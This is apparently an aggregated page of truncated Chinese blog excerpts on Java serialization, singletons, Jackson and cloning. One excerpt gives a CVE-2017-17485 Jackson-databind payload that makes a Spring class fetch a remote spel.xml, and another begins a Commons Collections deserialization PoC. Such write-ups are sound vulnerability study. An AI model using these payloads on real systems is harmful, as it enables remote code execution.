简而言之：序列化，就是为了在不同时间或不同平台的JVM之间共享实例对象。即序列化出于两个原因：①、用于持久化到磁盘上；②、用于作为数据流在网络上传输。所谓的Serializable,就是java提供的通用数据保存和读取的接口。至于从什么地方读出来和保存到哪里去，都被隐藏在函数参数的背后了。这样，任何类型只要实现了Serializable接口，就可以被保存到文件中，或者作为数据流通过网络发送到别的地方。也可以用管道来传输到系统的其...
单例模式指的是一个类只有一个对象，通过一些措施达到达到这个目的。但是反射和反序列化可以获得多个不同的对象。 先简单的认识一下单例模式 一：单例模式通过私有构造器，声明一个该类的静态对象成员，提供一个获得对象的静态方法实现单例模式。单列模式有饿汉式和懒汉式，饿汉式是声明的同时就为该对象赋值。 懒汉式指的是使用到的时候再创建。虚拟机的实现会保证：类加载会确保类和对象的初始化方法在多线程场景下能够正确的同步...
最近看到序列化的知识，觉得书上讲的不是很清楚，就去查了下资料，自己也进行了一些尝试，在这里记录下。 一、什么是序列化 首先可以下百度里的解释: 序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间，对象将其当前状态写入到临时或持久性存储区。以后，可以通过从存储区中读取或反序列化对象的状态，重新创建该对象。 解释一下，我们在写程序的时候，如果我们想要将一个对象通过网络传...
应用场景： 1.一般来说，服务器启动后，就不会再关闭了，但是如果逼不得已需要重启，而用户会话还在进行相应的操作，这时就需要使用序列化将session信息保存起来放在硬盘，服务器重启后，又重新加载。这样就保证了用户信息不会丢失，实现永久化保存 2.淘宝每年都会有定时抢购的活动，很多用户会提前登录等待，长时间不进行操作，一致保存在内存中，而到达指定时刻，几十万用户并发访问，就可能会有几十万个session，内存可能吃不消...
package xml;import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.UUID;public class Ser {public static void main(String[] args) throws Exception {Student student = new Student();student.setStuName(UUID.randomUUID().toString());student.s...
Java与单例模式一文中提到了，Java可以通过反序列化来破坏单例，其底层就是利用反射，通过一个代表无参构造方法的Constructor对象，使用其newInstance()方法来创建对象。 但是，在后续的测试代码中发现，其实目标类的无参构造方法并没有执行！所以，对于这个对象的创建过程并不是我一开始想的那样。请看下面的例子： // 目标类 public class Elvis implements Serializable {public static final Elvis INSTANCE = new Elvis();pub...
1.概念序列化：把Java对象转换为字节序列的过程。 反序列化：把字节序列恢复为Java对象的过程。 2.用途对象的序列化主要有两种用途： 1） 把对象的字节序列永久地保存到硬盘上，通常存放在一个文件中； 2） 在网络上传送对象的字节序列。 序列化就是一种用来处理对象流的机制，所谓对象流也就是将对象的内容进行流化。可以对流化后的对象进行读写操作，也可将流化后的对象传输于网络之间。 序列化是为了解决在对对象流进行...
这个洞的cve编号：CVE-2017-17485，漏洞环境就如第一个链接那样，jdk需要在jdk 1.8以上。 先看一下Jackson-databind的用法，说白了就是将json转换成对象。 test-legit.json代码如下 {"id":123} 运行结果如图：如果注入的json代码如下代码，就会引入FileSystemXmlApplicationContext这个类，去下载spel.xml： {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubuserc...
package org.lain.poc;import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;import java.io....
引言： 序列化是将对象的状态信息转换为可以存储或传输的形式的过程，在序列化期间，对象将其带你过去的状态写入到临时或持储存区，反序列化就是重新创建对象的过程，此对象来自于临时或持久储存区。 序列化的作用： 就好比如存储数据到数据库，将一些数据持久化到数据库中，而有时候需要将对象持久化，虽然说将对象状态持久化的方式有很多，但是java给我们提供了一种很便捷的方式，那就是序列化，序列化可以实现对象到文件之...
关于本系列 您觉得自己懂 Java 编程？事实上，大多数程序员对于 Java 平台都是浅尝则止，只学习了足以完成手头上任务的知识而已。在本 系列 中，Ted Neward 深入挖掘 Java 平台的核心功能，揭示一些鲜为人知的事实，帮助您解决最棘手的编程挑战。 大约一年前，一个负责管理应用程序所有用户设置的开发人员，决定将用户设置存储在一个 Hashtable中，然后将这个 Hashtable 序列化到磁盘，以便持久化。当用户更改设置时，便重新将 Has...
关于本系列 您觉得自己懂 Java 编程？事实上，大多数程序员对于 Java 平台都是浅尝则止，只学习了足以完成手头上任务的知识而已。在本 系列 中，Ted Neward 深入挖掘 Java 平台的核心功能，揭示一些鲜为人知的事实，帮助您解决最棘手的编程挑战。 大约一年前，一个负责管理应用程序所有用户设置的开发人员，决定将用户设置存储在一个 Hashtable中，然后将这个 Hashtable 序列化到磁盘，以便持久化。当用户更改设置时，便重新将 Has...
导读：最近在做项目的过程中，发现一个问题，就是我们最开始的时候，传递参数包括返回类型，都有map类型。但是由于map每次都要匹配key值，很麻烦。所以在之后就将参数传递和返回类型全都改成了实体bean，并且让每个bean都实现了Serializable接口。然后，在这里的时候，就有点疑惑。首先：为什么要进行序列化；其次：每个实体bean都必须实现serializabel接口吗？最后：我做一些项目的时候，没有实现序列化，同样没什么影响，然后现在...
Java中使用Jackson进行JSON解析和序列化 1.添加依赖，在Maven的pom.xml文件中添加以下依赖 <dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.5.3</version> </dependency> 2.封装JSON解析和序列化工具类 import java.io.IOException; import java.util.List;import com.fasterxml.jackson.core.JsonParseException; import com.fasterxml.jackson.core.JsonProcess...
经常会碰到对象复制的问题，这个问题比较基础，同时与JVM内存模型挂钩。 1. 实现Cloneable接口默认的clone方法是浅拷贝 Java Cloneable接口实际上是个空接口，没有任何方法，实际的clone()是object的方法，但是是一个protected的方法，因此需要重写这个方法，并且声明为public，不然的话protected方法在其它包中是无法访问的。 问题：既然Cloneable接口是个空接口，实际的clone()是object的方法，那在类中不实现Cloneable接口是否可...